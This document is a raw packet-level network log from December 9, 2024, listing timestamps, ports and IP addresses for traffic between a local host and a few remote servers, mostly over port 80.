Dec 9, 2024 23:09:37.382374048 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.382656097 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.383125067 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.383407116 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.383949041 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.384031057 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.384753942 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.384991884 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.385612965 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.385771036 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.385823011 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.386142015 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.386464119 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.386584997 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.387317896 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.387412071 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.388204098 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.388319016 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.388696909 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.389012098 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.389204979 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.389861107 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.389961004 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.390782118 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.390899897 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.391123056 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.391571999 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.391674042 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.392409086 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.392538071 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.393281937 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.393383980 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.394090891 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.394205093 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.394985914 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.395097017 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.395804882 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.395962000 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.396655083 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.396773100 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.396995068 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.397495985 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.397589922 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.398320913 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.398449898 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.399197102 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.399292946 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.399676085 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.399708986 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.399816036 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.400051117 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.400157928 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.400886059 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.400947094 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.401762009 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.401889086 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.402580023 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.402642965 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.402677059 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.403525114 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.403590918 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.404278994 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.404408932 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.405102968 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.405181885 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.406032085 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.406137943 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.406872034 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.406990051 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.407210112 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.407562017 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.407679081 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.407686949 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.407773972 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.408509970 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.408611059 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.409388065 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.409502983 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.410243988 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.410284042 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.411082983 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.411192894 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.411258936 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.411995888 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.412064075 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.412775040 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.412930965 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.413659096 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.413666010 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.413697958 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.413757086 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.521230936 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.521250963 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.521665096 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.521716118 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.522499084 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.522682905 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.523348093 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.532190084 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.565013885 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.565166950 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.565324068 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.565500975 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.565582991 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.566621065 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.566832066 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.567271948 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.567430973 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.568072081 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.568191051 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.568905115 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.568993092 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.569742918 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.569811106 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.570578098 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.570688009 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.571449995 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.571571112 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.572294950 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.572406054 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.573168993 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.573204041 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.573260069 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.574014902 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.574105978 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.574867010 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.574915886 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.575787067 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.575834036 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.576556921 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.576648951 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.577455044 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.577609062 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.578269005 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.578531981 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.579179049 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.579191923 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.579931021 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.580002069 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.581039906 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.581052065 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.581639051 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.581748009 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.582493067 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.582587957 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.582592964 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.582629919 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.582705021 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.583065987 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.583090067 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.583374023 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.583439112 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.584207058 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.584376097 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.585036039 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.585058928 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.585870028 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.585983038 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.586714983 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.586879015 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.587035894 CET	49859	443	192.168.2.4	35.190.72.216
Dec 9, 2024 23:09:37.587045908 CET	443	49859	35.190.72.216	192.168.2.4
Dec 9, 2024 23:09:37.587589025 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.587719917 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.587930918 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.588447094 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.588541031 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.589265108 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.589369059 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.590130091 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.590240002 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.591008902 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.591274023 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.591813087 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.591917992 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.592658043 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.592705965 CET	49859	443	192.168.2.4	35.190.72.216
Dec 9, 2024 23:09:37.592709064 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.592737913 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.592835903 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.593514919 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.593604088 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.593606949 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.593648911 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.593754053 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.594363928 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.594458103 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.595207930 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.595371008 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.596071005 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.596204042 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.596900940 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.597021103 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.597785950 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.597835064 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.598603010 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.598715067 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.599478960 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.599729061 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.600317001 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.600408077 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.601154089 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.601246119 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.601335049 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.601525068 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.602039099 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.602188110 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.602869034 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.603085041 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.603725910 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.603821993 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.604537964 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.604654074 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.604923964 CET	49859	443	192.168.2.4	35.190.72.216
Dec 9, 2024 23:09:37.604934931 CET	443	49859	35.190.72.216	192.168.2.4
Dec 9, 2024 23:09:37.605407953 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.605513096 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.606256962 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.606322050 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.608275890 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.608663082 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.713330984 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.713471889 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.713679075 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.713797092 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.713936090 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.714411020 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.714477062 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.715293884 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.715310097 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.715677023 CET	443	49852	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:37.715749025 CET	443	49852	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:37.731328964 CET	443	49852	104.21.48.1	192.168.2.4
Dec 9, 2024 23:09:37.733822107 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.735989094 CET	49852	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:37.753916025 CET	49852	443	192.168.2.4	104.21.48.1
Dec 9, 2024 23:09:37.757504940 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.757612944 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.757903099 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.757931948 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.757978916 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.758743048 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.758877993 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.759603977 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.759727001 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.760431051 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.760507107 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.761281967 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.761401892 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.762130022 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.762248993 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.762389898 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.762473106 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.762931108 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.763037920 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.763830900 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.763998032 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.764607906 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.764707088 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.765465975 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.765563965 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.766325951 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.766405106 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.767199993 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.767266989 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.768043995 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.768202066 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.768871069 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.768951893 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.769736052 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.769834042 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.770565987 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.770687103 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.771483898 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.771507978 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.772305012 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.772383928 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.773125887 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.773448944 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.773966074 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.774120092 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.774139881 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.774785042 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.774888039 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.775676012 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.775904894 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.776500940 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.776614904 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.777410030 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.777499914 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.778307915 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.778383970 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.779119968 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.779215097 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.779897928 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.780052900 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.780761003 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.780889034 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.781599998 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.781733036 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.782458067 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.782562971 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.783308983 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.783430099 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.784166098 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.784264088 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.785100937 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.785181999 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.785836935 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.785959959 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.786681890 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.786854029 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.787520885 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.787628889 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.788414955 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.788459063 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.789246082 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.789323092 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.790092945 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.790354967 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.790924072 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.791019917 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.791805029 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.791867018 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.792630911 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.792793036 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.793467045 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.793581963 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.794322968 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.794332027 CET	49838	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:37.794491053 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.795217037 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.795295954 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.796015024 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.796129942 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.796897888 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.797055006 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.797727108 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.797842979 CET	80	49838	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:37.798547029 CET	80	49838	185.215.113.16	192.168.2.4
